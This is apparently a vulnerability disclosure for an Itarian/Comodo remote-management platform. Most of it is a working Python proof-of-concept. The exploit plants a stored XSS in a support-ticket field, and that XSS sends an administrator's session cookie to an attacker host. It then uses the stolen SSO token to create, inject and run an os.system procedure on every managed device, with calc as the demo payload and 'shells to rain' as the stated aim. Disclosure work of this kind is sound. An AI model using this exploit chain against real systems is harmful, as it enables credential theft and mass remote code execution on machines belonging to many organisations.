1 Click RCE on all agents
Technical details
The following POC will show that an attacker can send an email / ticket, with an XSS, to an Itarian administrators, this XSS can be used to get RCE on all managed systems.
POC code:
# POC made by Wietse Boonstra
#
# Flow
# Send XSS payload to grab SSO-Token - Mail / Ticket
# Send SSO-Token to attacker server
# Request PHPSessionId
# Use PHPSessionId to run 3 commands
# # Create procedure grab ID
# # Update procedure ID with new python code
# # Trigger procedure on all systems
# Wait for shells to rain or calc’s!
#!/bin/python3
import requests
import string
import random
import sys
from requests import sessions
class exploit():
def __init__(self, url, payload, ssotoken):
self.url = url
self.ssotoken = ssotoken
self.payload = payload
self.procedureID = None
self.session = requests.session()
def getPHPsessionId(self):
url = "{}?sso-token={}".format(self.url,self.ssotoken)
print (url)
resp = self.session.get(
url,
verify=False,
allow_redirects=False,
)
if resp.status_code != 302:
print ("Something went wrong, (sessionid?)")
sys.exit()
return True
def createProcedure(self):
url = "{}/procedure/windows/create".format(self.url)
procedureName = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
headers = {"X-Requested-With": "XMLHttpRequest"}
json={"model": {"description": "asdasd", "id_category": 1, "name": procedureName }}
resp = self.session.post(
url,
headers=headers,
json=json,
verify=False
)
if resp.status_code != requests.codes.ok:
print ("Something went wrong, (sessionid?)")
sys.exit()
result = resp.json()
self.procedureID = result['model']['id']
print ("Procedure ID: {}".format(self.procedureID))
return self.procedureID
def createProcedurePayload(self):
url = "{}/procedure/windows/update/id/{}".format(self.url, self.procedureID)
headers = {"X-Requested-With": "XMLHttpRequest"}
json={"model":{"script":""}}
json['model']['script'] = """
import os
os.system(\"{}\")
""".format(self.payload)
resp = self.session.patch(
url,
headers=headers,
json=json,
verify=False
)
if resp.status_code != requests.codes.ok:
print ("Something went wrong, (sessionid?)")
sys.exit()
result = resp.json()
print (result)
return True
def runProcedure(self):
url = "{}/procedure/run/device-all".format(self.url)
headers = {"X-Requested-With": "XMLHttpRequest"}
json = {"model":{"target":1,"procedureId":0,"osType":3}}
json['model']['procedureId'] = self.procedureID
resp = self.session.post(
url,
headers=headers,
json=json,
verify=False
)
if resp.status_code != requests.codes.ok:
print ("Something went wrong, (sessionid?)")
sys.exit()
result = resp.json()
print (result)
return True
def xssPayload(url,attackerHost,attackerPort):
# This function could be used to steal the SSO-Token.
# For this to work we need to start a webserver
# This webserver will receive the the XSS payload that contains the SSO-Token
# This Token can then be used to trigger the rest of the exploit chain.
#
#
from lxml import etree
from io import StringIO
from requests_toolbelt import MultipartEncoder
payload = "<script>document.location=\"https://{}:{}/?c=\" + document.cookie</script>".format(attackerHost, attackerPort)
randomEmail = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
parser = etree.HTMLParser()
url = "https://{}/open.php".format(url)
r = requests.get(url)
cookie = r.cookies['OSTSESSID']
html = r.content.decode("utf-8")
tree = etree.parse(StringIO(html), parser=parser)
print (tree)
inputs = tree.xpath("//input")
CSRFToken = None
for input in inputs:
if "__CSRFToken__" == input.get('name',''):
CSRFToken = input.get('value','')
labels = tree.xpath("//label")
EmailAddressId = None
FullNameId = None
IssueSummaryId = None
for label in labels:
if "Email Address" in label.text:
EmailAddressId = label.get('for','')
if "Full Name" in label.text:
FullNameId = label.get('for','')
if "Issue Summary" in label.text:
IssueSummaryId = label.get('for','')
url = "https://dddivddd.servicedesk.comodo.com:443/open.php"
cookies = {"OSTSESSID": cookie}
headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUDlpx6O6BsoA2BmY"}
data = """------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"__CSRFToken__\"
{CSRFToken}
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"a\"
open
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"topicId\"
10
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{EmailAddressId}\"
{randomEmail}@fff.123
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{FullNameId}\"
{payload}Administrator
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{IssueSummaryId}\"
summary
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"message\"
Hi
------WebKitFormBoundaryUDlpx6O6BsoA2BmY--
""".format(CSRFToken=CSRFToken,EmailAddressId=EmailAddressId,randomEmail=randomEmail,FullNameId=FullNameId,payload=payload,IssueSummaryId=IssueSummaryId)
ticket = requests.post(url, headers=headers, cookies=cookies, data=data)
if "A support ticket request has been created " in ticket.text:
print ("Payload dropped")
else:
print (ticket.text)
def run(self):
# self.xssPayload()
self.getPHPsessionId()
self.createProcedure()
self.createProcedurePayload()
self.runProcedure()
payload = "c:\\windows\\system32\\cmd.exe /c calc"
x = exploit(url="https://dddivddd-msp.cmdm.comodo.com/", ssotoken="<TOKEN>", payload=payload )
id = x.run()